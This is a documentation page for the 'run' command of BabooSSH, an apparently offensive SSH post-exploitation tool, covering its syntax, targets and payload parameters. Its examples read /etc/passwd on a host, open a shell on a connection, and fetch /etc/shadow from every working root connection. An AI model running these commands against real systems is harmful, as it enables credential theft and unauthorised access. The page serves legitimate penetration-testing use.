run command

Run a payload on an open connection.


run [-v|--verbose] [<target> <payload> [<parameters>…]]


  • <target>: A Connection , an Endpoint, a Tag or a Host to run payload on

  • <payload>: A Payload module name.

  • <parameters>: Specified payload’s parameters (if any).

If <target> is not provided, Baboossh will use the current Workspace options to determine which User and Creds to connect to which Endpoint. If any of these option is not set, it will enumerate any working connection using specified parameters and run on them.


  • -v|--verbose: increase output verbosity


Run payload on a Host

` run SRV-WEB2 exec cat /etc/passwd `

Find a working connection to Host SRV-WEB2 and run payload exec with parameters cat /etc/passwd

Using workspace options

` set connection foo:#2@ set payload shell run `

Run payload shell on connection foo:#2@ if it is working.


` set user root set payload getfile set params /etc/shadow run `

Run payload getfile with parameters /etc/shadow on every working connection with user root.